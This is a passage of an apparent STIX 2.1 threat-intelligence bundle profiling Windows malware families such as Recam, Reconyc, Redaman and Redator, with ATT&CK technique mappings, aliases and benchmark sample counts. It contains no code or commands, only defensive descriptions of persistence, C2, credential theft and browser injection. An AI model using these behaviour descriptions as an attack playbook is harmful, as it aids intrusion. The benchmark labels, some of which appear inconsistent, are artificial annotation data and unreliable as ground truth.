      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rebhip exhibits technique T1091 (Replication Through Removable Media)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--81dcd55b-b699-5ada-8e1d-a970e73f2883",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a3c83173-a98b-54da-8a14-2d462933e8ca",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rebhip exhibits technique T1547.001 (Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1ac73640-92f9-5629-b238-e62b94053cfa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a3c83173-a98b-54da-8a14-2d462933e8ca",
      "target_ref": "attack-pattern--cc0b5894-87c7-5a25-90e8-09cb9907d5d4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rebhip exhibits technique T1564.001 (Hidden Files and Directories)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2ef6c97b-39cc-5af2-af70-c2c0d2062d6e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a3c83173-a98b-54da-8a14-2d462933e8ca",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rebhip exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--70059251-edba-5f4c-897b-6301487c5b6e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a3c83173-a98b-54da-8a14-2d462933e8ca",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rebhip exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1b5c2242-eb82-557b-a495-5ea7e71096a5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a3c83173-a98b-54da-8a14-2d462933e8ca",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rebhip exhibits technique T1071.001 (Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cb935c94-f35b-5159-a903-ce98dfb5d6c6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a3c83173-a98b-54da-8a14-2d462933e8ca",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rebhip exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f53a84eb-1dea-5d79-a67d-77febbba33cd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Recam",
      "description": "Recam (cataloged across threat research repositories under signatures including Backdoor:Win32/Recam, Trojan:Win32/Recam, and Backdoor.Recam) is a stealthy Windows remote access trojan and surveillance backdoor active since 2012. Delivered primarily through targeted spear-phishing emails containing malicious office documents and bundled software installers, Recam is engineered to provide persistent remote administration and espionage capabilities on compromised endpoints. Upon installation, Recam registers autostart services or writes to the Windows CurrentVersion\\Run registry key to ensure persistence across system reboots. It establishes outbound TCP connections to remote threat actor command-and-control servers using custom binary protocols, granting attackers interactive command-line shell access, real-time desktop screen capture, webcam video recording, microphone audio surveillance, keystroke logging, and arbitrary file upload/download capabilities. (Observed samples in benchmark: 30)",
      "is_family": true,
      "malware_types": [
        "remote-access-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor:Win32/Recam",
        "Trojan:Win32/Recam",
        "Win32/Recam",
        "Backdoor.Recam",
        "Backdoor:Win32/Recam.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Recam",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/recam"
        }
      ],
      "labels": [
        "rat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--eb8c3703-271a-5b26-aeb3-3d8b2d11bbc1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Recex",
      "description": "Trojan:Win32/Recex is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Recex</b><br>To an end-user, a Recex infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Recex is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Recex is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Recex frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Recex reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Recex",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/recex"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--49d0ddca-4fe4-5cc4-b401-d4080dd59230",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eb8c3703-271a-5b26-aeb3-3d8b2d11bbc1",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Recex exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7b62c5b9-a187-5b0b-b388-41f5699caa77",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eb8c3703-271a-5b26-aeb3-3d8b2d11bbc1",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Recex exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f775c8a6-19cd-5dde-a0de-168f6e1b6bb4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eb8c3703-271a-5b26-aeb3-3d8b2d11bbc1",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Recex exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--68f0f517-d5bf-5d59-9dd4-7198e8fa11b6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eb8c3703-271a-5b26-aeb3-3d8b2d11bbc1",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Recex exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c9f92e7d-f006-57a7-b050-69d85026a0cc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eb8c3703-271a-5b26-aeb3-3d8b2d11bbc1",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Recex exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6d22347a-ba70-5454-b1ae-9b2a5e5cc808",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Reconyc",
      "description": "Reconyc (cataloged across security software as Trojan:Win32/Reconyc, Trojan.Win32.Reconyc, and Trojan.Reconyc) is a heavily obfuscated Windows trojan dropper and downloader first discovered around 2014. Engineered as a stealthy initial access vehicle, Reconyc is designed to penetrate perimeter defenses and stage secondary malware payloads (such as banking trojans, ransomware, and spyware) onto compromised systems. Upon initial execution, Reconyc conducts thorough environment and sandbox checks to detect virtual machine artifacts, debugging tools, and analysis environments. If safe execution parameters are confirmed, the trojan extracts an encrypted payload stored within its binary resource section, drops it into user temporary directories, and executes it. Reconyc also creates autostart registry entries under the Windows Run keys and communicates with remote C2 servers via encrypted HTTP requests to retrieve additional malicious modules. (Observed samples in benchmark: 222)",
      "is_family": true,
      "malware_types": [
        "downloader"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Reconyc",
        "Trojan.Win32.Reconyc",
        "Trojan.Reconyc",
        "Win32/Reconyc.A",
        "Reconyc Dropper"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Reconyc",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/reconyc"
        }
      ],
      "labels": [
        "downloader",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--91cd9afd-b069-5760-9de9-e9f221ff0344",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6d22347a-ba70-5454-b1ae-9b2a5e5cc808",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Reconyc exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3641256a-21e5-5158-a351-6d0a34559d9b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6d22347a-ba70-5454-b1ae-9b2a5e5cc808",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Reconyc exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ee0ba9bb-a6e0-5bc6-946a-320cb1c4116d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6d22347a-ba70-5454-b1ae-9b2a5e5cc808",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Reconyc exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1c3d07f5-0f78-50ec-b878-50f354768ff7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6d22347a-ba70-5454-b1ae-9b2a5e5cc808",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Reconyc exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9c9056a0-29ee-5229-8431-0a26ce468cac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6d22347a-ba70-5454-b1ae-9b2a5e5cc808",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Reconyc exhibits technique T1083 (File and Directory Discovery)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4c8435a4-dd2a-5355-9bd2-5aa2b25725d8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Recory",
      "description": "<h3>Executive Summary</h3>\nRecory is a deceptive malware family that operates primarily as \"Scareware\" or a Fake Antivirus (Fake AV) program, while occasionally exhibiting aggressive ransomware-like behaviors. Its core objective is financial extortion. It infiltrates a system, generates fabricated security alerts claiming the machine is heavily infected, and demands immediate payment (usually via credit card) for a \"premium license\" to remove the non-existent threats.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nRecory is most commonly distributed via aggressive \"malvertising\" campaigns (where malicious ads redirect users to pages claiming their PC is infected) or bundled within \"free\" software installers downloaded from untrustworthy sources.\n\nOnce executed, Recory focuses entirely on psychological manipulation and system disruption:\n<ul>\n<li><strong>Fabricated Scans and Alerts:</strong> The malware launches a highly realistic, but completely fake, graphical user interface mimicking legitimate antivirus software (e.g., Windows Defender). It performs a rapid \"scan\" and invariably reports dozens of critical infections, utilizing flashing red warnings and alarming sound effects.</li>\n<li><strong>System Disruption (Ransomware Behavior):</strong> To force the user to pay, Recory actively disrupts normal system operations. It frequently terminates legitimate executable files (like Task Manager, Registry Editor, and real antivirus software), claiming they are \"infected.\" Some aggressive variants will hide desktop icons and the taskbar, simulating a locked system.</li>\n<li><strong>Extortion Portal:</strong> The malware constantly redirects the user's web browser to a payment portal controlled by the attackers, demanding a credit card payment to \"activate\" the fake antivirus and restore the system.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile Recory typically does not utilize strong encryption to lock files (like true ransomware), it causes massive operational disruption and severe psychological distress for the user. Furthermore, entering credit card information into the extortion portal immediately compromises that financial data, leading to secondary fraud.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Safe Mode Eradication:</strong> Because Recory actively terminates security tools, the infected endpoint must usually be booted into Windows Safe Mode. From Safe Mode, a reputable, enterprise-grade anti-malware solution can be run to detect and remove the Fake AV executables and repair the hijacked registry keys.</li>\n<li><strong>Do Not Pay the Ransom:</strong> Under no circumstances should the user enter their credit card information. The software is fake, and payment will simply result in stolen financial data.</li>\n<li><strong>System Restoration:</strong> In severe cases where the malware has heavily damaged the registry or hidden critical system files, restoring the machine from a known-good backup or utilizing Windows System Restore may be the most efficient path to recovery.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "FakeAV.Recory",
        "Ransom.Recory",
        "Scareware.Win32/Recory"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Recory",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/recory"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d6c588a1-24a8-56b6-a8f4-b5035efb9319",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4c8435a4-dd2a-5355-9bd2-5aa2b25725d8",
      "target_ref": "attack-pattern--781c5255-115d-5757-8797-90b90215b35c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Recory exhibits technique T1491.001 (Defacement: Internal Defacement)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2cdcf945-533d-50f9-a93f-ece3917327c5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4c8435a4-dd2a-5355-9bd2-5aa2b25725d8",
      "target_ref": "attack-pattern--3e454648-d3ff-52aa-9384-1ac06a79ec48",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Recory exhibits technique T1489 (Service Stop (Forcefully stopping AV services))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8b36b2fb-c6b7-5b1f-b8ff-819fb29f32cb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4c8435a4-dd2a-5355-9bd2-5aa2b25725d8",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Recory exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a77d8dbf-90fd-5966-b5db-518eea1577ce",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Redaman",
      "description": "<h3>Executive Summary</h3>\nRedaman is a highly sophisticated Banking Trojan that primarily targets financial institutions, payment processors, and corporate banking portals, historically focusing heavily on the Russian and Eastern European financial sectors. Evolving from earlier banking trojans (and sharing code similarities with the RTM banking trojan), Redaman is engineered for massive financial theft, utilizing advanced evasion techniques and localized man-in-the-browser (MitB) attacks.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nRedaman is predominantly distributed via highly targeted, localized spear-phishing campaigns. These emails often contain weaponized attachments (such as malicious PDF files or Word documents with macro exploits) or deceptive links disguised as urgent financial invoices or tax documents.\n\nOnce executed, Redaman deploys a multi-stage infection process:\n<ul>\n<li><strong>Evasion and Anti-Analysis:</strong> Redaman is notorious for its anti-analysis checks. Before executing its primary payload, it verifies the default system language (often terminating if the system is not using a targeted language like Russian), checks for the presence of virtual machines (VMware, VirtualBox), and attempts to detect active debugging tools.</li>\n<li><strong>Web Injection and Credential Theft:</strong> The core functionality relies on Man-in-the-Browser (MitB) attacks. Redaman hooks into web browsers to intercept traffic, injecting malicious HTML/JavaScript into legitimate banking websites. This allows it to steal login credentials, intercept two-factor authentication (2FA) SMS codes, and silently alter transaction details in real-time.</li>\n<li><strong>Clipboard and Keystroke Logging:</strong> The trojan actively monitors the system clipboard for cryptocurrency wallet addresses and logs all keystrokes to capture sensitive data outside of the browser environment.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Redaman infection is a critical, high-impact security incident. It represents a direct, immediate threat of massive financial loss, corporate account takeover, and severe regulatory compliance breaches for the affected organization.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Immediate Network Containment:</strong> The infected machine must be immediately physically disconnected from the network to halt active financial data exfiltration and prevent the trojan from pivoting to other high-value targets (like financial controllers).</li>\n<li><strong>Financial Account Lockdown:</strong> Immediately notify the organization's financial institutions to freeze all associated corporate accounts and closely monitor for unauthorized wire transfers or ACH transactions.</li>\n<li><strong>System Wipe and Re-image:</strong> Due to Redaman's deep system hooks and advanced persistence mechanisms, attempting to clean the infection is highly risky. The only guaranteed method of eradication is a complete wipe and re-image of the compromised host from a known good baseline.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan-Banker.Win32.Redaman",
        "Banker.RTM",
        "Win32/Redaman"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Redaman",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/redaman"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--943a95b6-db6e-5606-a0d2-f1a67b1279c9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a77d8dbf-90fd-5966-b5db-518eea1577ce",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Redaman exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9cf1c550-f9d7-546b-8cb8-5593330e835b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a77d8dbf-90fd-5966-b5db-518eea1577ce",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Redaman exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e7e9309e-fa12-5258-976e-354e7ecf5cad",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a77d8dbf-90fd-5966-b5db-518eea1577ce",
      "target_ref": "attack-pattern--98e185c4-a84d-5a1b-a879-c69780574fe0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Redaman exhibits technique T1114 (Email Collection (Harvesting addresses for spamming))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c2ebdcf2-b5b3-56e8-ae0a-e11cd7512435",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a77d8dbf-90fd-5966-b5db-518eea1577ce",
      "target_ref": "attack-pattern--3de29a73-c5ce-5b4c-82e7-4707471dcabe",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Redaman exhibits technique T1056.004 (Input Capture: Credential API Hooking)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--05bb4850-3d84-5b63-8a27-b289dd4aacfa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Redator",
      "description": "<h3>Executive Summary</h3>\nRedator is a sophisticated Information Stealer (InfoStealer) and Trojan designed to silently harvest sensitive credentials, session tokens, and financial data from compromised Windows endpoints. Often distributed via targeted spam campaigns, Redator acts as an automated data exfiltration tool, directly contributing to account takeovers and broader enterprise breaches.\n\n<h3>Infection Vector and Extraction Methodology</h3>\nRedator is heavily distributed via mass malspam campaigns. The phishing emails frequently utilize socially engineered lures (e.g., fake invoices or shipping manifests) containing malicious attachments\u2014such as weaponized Excel documents, ISO images, or obfuscated VBScript droppers.\n\nUpon execution, Redator performs rapid, automated data extraction:\n<ul>\n<li><strong>Credential Theft:</strong> It systematically targets the internal databases of major web browsers (Chrome, Firefox, Edge), FTP clients, and email clients, extracting saved passwords, autofill data, and active session cookies.</li>\n<li><strong>System Profiling:</strong> Redator gathers deep system telemetry, including hardware identifiers, installed software lists, and network configurations, which helps attackers profile the value of the compromised host.</li>\n<li><strong>Data Exfiltration:</strong> The stolen intelligence is aggregated, compressed, and covertly transmitted to the attacker's command-and-control (C2) server via HTTP POST requests, effectively bypassing basic perimeter defenses.</li>\n</ul>\n\n<h3>Security and Privacy Implications</h3>\nA Redator infection is a critical security breach resulting in the immediate compromise of both corporate and personal credentials. This stolen intelligence is frequently used by the attackers to pivot laterally into corporate networks (via VPN or RDP) or sold on dark web marketplaces.\n\n<h3>Incident Response and Mitigation</h3>\n<ul>\n<li><strong>Credential Invalidation:</strong> Immediate, organization-wide password resets are mandatory following a confirmed Redator infection. All active session tokens and VPN access keys must be forcibly revoked.</li>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Deploy EDR solutions configured to alert on processes attempting unauthorized, bulk access to browser profile directories and the `CryptUnprotectData` API.</li>\n<li><strong>Email Security:</strong> Implement strict email filtering and sandboxing to block malicious attachments before they reach the end-user, disrupting the primary distribution vector.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Redator",
        "PasswordStealer.Redator",
        "Win32/Redator"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Redator",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/redator"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dc729d93-b8d1-5e4d-aa83-43b715d4ebd2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--05bb4850-3d84-5b63-8a27-b289dd4aacfa",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Redator exhibits technique T1555.003 (Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4a1434b5-a91a-5deb-99b8-1b1315156084",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--05bb4850-3d84-5b63-8a27-b289dd4aacfa",
      "target_ref": "attack-pattern--6864732d-cc77-514b-b3ff-9afd19b16e3c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Redator exhibits technique T1003 (OS Credential Dumping (Built-in Mimikatz integration))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--88f7385f-819f-5b46-a4e7-76aa825b6108",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--05bb4850-3d84-5b63-8a27-b289dd4aacfa",
      "target_ref": "attack-pattern--f035fb3a-e092-592e-a82f-3201715b5dc2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Redator exhibits technique T1048.003 (Exfiltration Over Alternative Protocol (Exfiltration via SMTP/Email))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--161839fc-4630-5513-b4d2-7e916306d6e5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Redcap",
      "description": "Redcap (cataloged across security vendors and threat intelligence databases under signatures including Backdoor:Win32/Redcap, Trojan:Win32/RedCap, and Backdoor.Redcap) is a persistent Windows remote access trojan (RAT) and backdoor active since 2017. Disseminated primarily through malicious email attachments, compromised website downloads, and cracked software packages, Redcap operates covertly to provide threat actors with interactive remote access. Upon execution, Redcap establishes persistence via Windows Registry Run keys and scheduled tasks, conducts system hardware and network reconnaissance, and initiates an encrypted outbound connection to attacker C2 servers. Redcap enables remote operators to execute arbitrary command-line instructions, upload and download files, and drop secondary malware payloads. (Observed samples in benchmark: 39)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor:Win32/Redcap",
